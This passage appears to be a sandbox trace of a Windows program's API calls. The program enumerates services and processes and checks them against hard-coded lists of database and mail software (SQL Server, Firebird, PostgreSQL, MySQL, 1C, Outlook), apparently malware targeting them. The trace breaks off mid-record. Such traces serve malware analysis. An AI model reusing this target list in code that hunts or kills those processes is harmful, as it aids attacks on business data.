(lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0050.660] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0050.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0050.660] lstrlenW (lpString="MMCSS") returned 5 [0050.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0050.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0050.660] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0050.660] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0050.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0050.660] lstrlenW (lpString="MpsSvc") returned 6 [0050.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0050.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0050.660] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0050.660] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0050.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0050.660] lstrlenW (lpString="Netman") returned 6 [0050.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0050.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0050.660] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0050.660] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0050.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0050.660] lstrlenW (lpString="netprofm") returned 8 [0050.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0050.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0050.661] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0050.661] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0050.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0050.661] lstrlenW (lpString="NlaSvc") returned 6 [0050.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0050.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0050.661] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0050.661] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0050.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0050.661] lstrlenW (lpString="nsi") returned 3 [0050.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0050.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0050.661] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0050.661] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0050.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0050.661] lstrlenW (lpString="PcaSvc") returned 6 [0050.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0050.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0050.661] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0050.661] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0050.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0050.661] lstrlenW (lpString="PlugPlay") returned 8 [0050.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0050.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0050.661] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0050.661] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0050.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0050.661] lstrlenW (lpString="Power") returned 5 [0050.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0050.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0050.661] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0050.661] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0050.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0050.661] lstrlenW (lpString="ProfSvc") returned 7 [0050.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0050.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0050.662] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0050.662] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0050.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0050.662] lstrlenW (lpString="RpcEptMapper") returned 12 [0050.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.662] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0050.662] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0050.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0050.662] lstrlenW (lpString="RpcSs") returned 5 [0050.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0050.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0050.662] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0050.662] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0050.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0050.662] lstrlenW (lpString="SamSs") returned 5 [0050.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0050.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0050.662] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0050.662] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0050.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0050.662] lstrlenW (lpString="Schedule") returned 8 [0050.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0050.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0050.662] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0050.662] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0050.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0050.662] lstrlenW (lpString="SENS") returned 4 [0050.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0050.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0050.662] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0050.662] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0050.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0050.663] lstrlenW (lpString="ShellHWDetection") returned 16 [0050.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.663] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0050.663] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0050.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0050.663] lstrlenW (lpString="Spooler") returned 7 [0050.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0050.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0050.663] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0050.663] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0050.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0050.663] lstrlenW (lpString="SysMain") returned 7 [0050.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0050.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0050.663] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0050.663] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0050.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0050.663] lstrlenW (lpString="Themes") returned 6 [0050.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0050.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0050.663] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0050.663] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0050.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0050.663] lstrlenW (lpString="TrkWks") returned 6 [0050.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0050.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0050.663] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0050.663] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0050.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0050.663] lstrlenW (lpString="UxSms") returned 5 [0050.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0050.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0050.663] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0050.663] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0050.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0050.664] lstrlenW (lpString="VSS") returned 3 [0050.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0050.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0050.664] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0050.664] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0050.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0050.664] lstrlenW (lpString="WdiServiceHost") returned 14 [0050.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.664] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0050.664] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0050.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0050.664] lstrlenW (lpString="WdiSystemHost") returned 13 [0050.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.664] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0050.664] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0050.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0050.664] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0050.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.664] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0050.664] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0050.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0050.664] lstrlenW (lpString="Winmgmt") returned 7 [0050.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0050.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0050.664] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0050.664] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0050.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0050.664] lstrlenW (lpString="WPDBusEnum") returned 10 [0050.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.665] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0050.665] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0050.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0050.665] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a77708 | out: hHeap=0x6c0000) returned 1 [0050.665] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x180 [0050.667] Process32FirstW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0050.667] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0050.668] lstrlenW (lpString="System") returned 6 [0050.668] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0050.668] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0050.668] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0050.668] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0050.668] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0050.668] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0050.668] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0050.668] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0050.668] lstrlenW (lpString="smss.exe") returned 8 [0050.669] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0050.669] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0050.669] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0050.669] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0050.669] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0050.669] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0050.669] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0050.669] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.669] lstrlenW (lpString="csrss.exe") returned 9 [0050.669] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0050.669] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0050.669] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0050.669] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0050.669] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0050.669] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0050.669] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0050.669] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0050.678] lstrlenW (lpString="wininit.exe") returned 11 [0050.678] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0050.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0050.678] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0050.678] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0050.678] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0050.678] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0050.678] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0050.678] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.678] lstrlenW (lpString="csrss.exe") returned 9 [0050.678] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0050.678] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0050.679] lstrlenW (lpString="winlogon.exe") returned 12 [0050.679] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0050.679] lstrlenW (lpString="services.exe") returned 12 [0050.680] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0050.680] lstrlenW (lpString="lsass.exe") returned 9 [0050.680] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0050.680] lstrlenW (lpString="lsm.exe") returned 7 [0050.681] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.681] lstrlenW (lpString="svchost.exe") returned 11 [0050.681] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.681] lstrlenW (lpString="svchost.exe") returned 11 [0050.681] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.682] lstrlenW (lpString="svchost.exe") returned 11 [0050.682] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.682] lstrlenW (lpString="svchost.exe") returned 11 [0050.682] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.683] lstrlenW (lpString="svchost.exe") returned 11 [0050.683] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0050.683] lstrlenW (lpString="audiodg.exe") returned 11 [0050.683] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.684] lstrlenW (lpString="svchost.exe") returned 11 [0050.684] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.684] lstrlenW (lpString="svchost.exe") returned 11 [0050.684] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0050.685] lstrlenW (lpString="dwm.exe") returned 7 [0050.685] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0050.686] lstrlenW (lpString="explorer.exe") returned 12 [0050.686] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0050.686] lstrlenW (lpString="spoolsv.exe") returned 11 [0050.686] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.687] lstrlenW (lpString="taskhost.exe") returned 12 [0050.687] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.687] lstrlenW (lpString="svchost.exe") returned 11 [0050.687] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0050.688] lstrlenW (lpString="taskeng.exe") returned 11 [0050.688] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.689] lstrlenW (lpString="taskhost.exe") returned 12 [0050.689] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0050.689] lstrlenW (lpString="br_maintaining.exe") returned 18 [0050.689] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0050.690] lstrlenW (lpString="kitsenormous.exe") returned 16 [0050.690] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0050.690] lstrlenW (lpString="intermediate-components.exe") returned 27 [0050.690] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0050.691] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0050.691] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0050.691] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0050.691] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, 